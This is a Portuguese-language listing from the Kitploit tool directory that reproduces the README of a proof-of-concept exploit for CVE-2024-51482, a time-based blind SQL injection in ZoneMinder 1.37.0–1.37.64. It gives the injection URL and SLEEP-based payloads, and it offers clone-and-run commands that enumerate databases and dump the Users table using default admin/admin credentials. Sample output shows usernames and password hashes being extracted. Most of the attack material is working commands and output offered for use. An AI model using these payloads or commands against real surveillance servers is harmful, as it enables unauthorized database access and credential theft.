Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51482 — ZenoMinder PoC de Injeção SQL Cega | Kitploit
Ferramentas/GitHubGitHub/bridgeralderson/cve-2024-51482
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder PoC de Injeção SQL Cega

Ver Repositório
858há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-51482 - Injeção SQL Cega no ZoneMinder

Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Análise Técnica
  • Guia de Exploração
  • Instalação
  • Exemplos de Uso
  • Mitigação
  • Referências

Visão Geral

A CVE-2024-51482 é uma vulnerabilidade crítica de Injeção SQL cega baseada em booleano descoberta no ZoneMinder, um popular software de vigilância por CCTV de código aberto. Essa falha afeta as versões 1.37.* até 1.37.64 e permite que atacantes autenticados com baixos privilégios executem comandos SQL arbitrários no servidor de banco de dados subjacente.

MétricaValor
ID CVECVE-2024-51482
Pontuação CVSS9.9 (Crítico)
Vetor de AtaqueRede
Privilégios NecessáriosBaixo
Interação do UsuárioNenhum
EscopoAlterado
ImpactoConfidencialidade, Integridade, Disponibilidade - ALTA
Versão Corrigida1.37.65

Detalhes da Vulnerabilidade

Versões Afetadas

  • Vulnerável: ZoneMinder v1.37.0 até v1.37.64.
  • Corrigida: ZoneMinder v1.37.65 e posteriores.

Causa Raiz

A vulnerabilidade existe no arquivo web/ajax/event.php dentro da função removetag. O parâmetro tid (ID da Tag) é concatenado diretamente em uma consulta SQL sem sanitização ou parametrização adequada.

Código Vulnerável:

case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERÁVEL! 
    $rowCount = dbNumRows($sql); 
    // ...

Código Corrigido:

$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada

Vetor de Ataque

O endpoint vulnerável pode ser acionado via:

http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PONTO_DE_INJEÇÃO]

Análise Técnica

Por que Injeção Cega Baseada em Booleano?

O ponto de injeção não retorna resultados da consulta diretamente na resposta, tornando ataques tradicionais baseados em UNION impossíveis. Em vez disso, devemos inferir informações através de condições booleanas ou atrasos de tempo.

  • Abordagem baseada em booleano:
    • Condição verdadeira → Tempo de resposta normal.
    • Condição falsa → Tempo de resposta normal.
    • Requer diferenças observáveis no comportamento da aplicação.
  • Abordagem baseada em tempo (mais confiável):
    • Condição verdadeira → Resposta atrasada (SLEEP).
    • Condição falsa → Tempo de resposta normal.

Mecanismo de Exploração

Nosso exploit usa extração baseada em tempo com a função SLEEP():

1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Quando essa condição é avaliada como verdadeira, o banco de dados dorme por 2 segundos, criando um atraso mensurável na resposta HTTP.

Processo de Extração de Caracteres

  • Busca Binária: Para cada posição de caractere, testamos intervalos usando ASCII(SUBSTRING()) > MID.
  • Medição de Tempo: Se a condição for verdadeira, SLEEP é acionado.
  • Reconstrução de Caractere: Construímos a string caractere por caractere.

Exemplo de payload para extrair o caractere na posição 1:

1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guia de Exploração

Pré-requisitos

  • Alvo executando ZoneMinder 1.37.0 - 1.37.64.
  • Credenciais válidas (padrão: admin/admin).
  • Acesso de rede à interface web do ZoneMinder.

Instalação

# Clone o repositório
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Torne o script executável
chmod +x CVE-2024-51482.py

# Instale as dependências necessárias
pip3 install requests

Uso Básico

# Teste se o alvo é vulnerável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --test

# Descubra todos os bancos de dados
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover

# Liste tabelas em um banco de dados específico
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --tables zm

# Liste colunas em uma tabela específica
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --columns zm Users

# Despeje dados de colunas específicas
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Users "Username,Password"

# Despeje a tabela de usuários (padrão)
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users

# Ative a saída de depuração para processo detalhado de extração
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --debug

# Ajuste o tempo de sleep para extração mais confiável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --sleep 3

# Desative a saída colorida
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --no-color

Exemplos de Uso

Exemplo 1: Teste de Vulnerabilidade

$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Exemplo 2: Enumeração de Banco de Dados

$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Exemplo 3: Despejo de Credenciais de Usuário

$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Exemplo 4: Extração de Dados Personalizada

# Despeje colunas específicas da tabela Events
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Como o Exploit Funciona

Baixar ferramenta